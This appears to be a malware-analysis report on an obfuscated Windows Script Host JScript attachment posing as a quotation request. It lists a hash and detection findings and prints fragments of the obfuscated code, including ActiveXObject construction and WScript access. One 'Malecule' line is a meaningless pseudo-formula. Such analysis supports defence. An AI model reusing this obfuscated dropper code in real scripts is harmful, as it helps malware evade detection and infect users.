Suspicious ^66% Download

Official Quotation Request – UAEU5694.JS

Obfuscated WSH malware execution

WScript bracket-member access in source textActiveXObject constructor reference

SHA-2567b2a40d5a916e5c0948bdb02774000ee9fec4e5bf345872ced0ad847de6fca25

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₅(As₂AlCIXe₂)H₅(Db₇F₂OsPo₃U)Md(Pt)

Evidence

Starts a synchronous function expression lines 41–54

⋯5 lines
46
47}());
48
49(function () {
50  
⋯4 lines

Dense computed-property call cluster (3+) lines 92–101

43…  {
        
                  var TLQNJEFIMQMXYUXS25125 = TLQNJEFIMQMXYUXS72489['apply'](TLQNJEFIMQMXYUXS56249, arguments);
        
                  TLQNJEFIMQMXYUXS72489 = null;
⋯5 lines

Calls a parenthesized function expression lines 168–180

56… MQMXYUXS22646);
      
          
    }
      
  })();
  
  
}());

  TLQNJEFIMQMXYUXS68047['kshJM'](TLQNJEFIMQMXYUXS23170, this, function () {
  
      var TLQNJEFIMQMXYUXS18003 = new RegExp(TLQNJEFIMQMXYUXS68047['QwtHU']), TLQNJEFIMQMXYUXS71456 = new RegExp('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)', 'i'), TLQNJEFIMQMXYUXS41449 = TLQNJEFIMQMXYUXS68047['aQyCd'](TLQNJEFIMQMXYUXS26819, 'init');

Constructs ActiveX object from variable ProgID lines 229–239

229:23… JEFIMQMXYUXS49324['VxZmO'];
230  
231
232}
233var TLQNJEFIMQMXYUXSNYF = new ActiveXObject(TLQNJEFIMQMXYUXSZDM);
234
235function TLQNJEFIMQMXYUXSEU(TLQNJEFIMQMXYUXS29987) {
⋯4 lines

WScript bracket-member access in source text lines 3917–3928

7…   HOLLYNAMRF += TLQNJEFIMQMXYUXS56369['yRdhh'];
  
  
}
  var TLQNJEFIMQMXYUXSYLV = WScript['ScriptName'];

  function TLQNJEFIMQMXYUXSEU(TLQNJEFIMQMXYUXS77587) {
⋯5 lines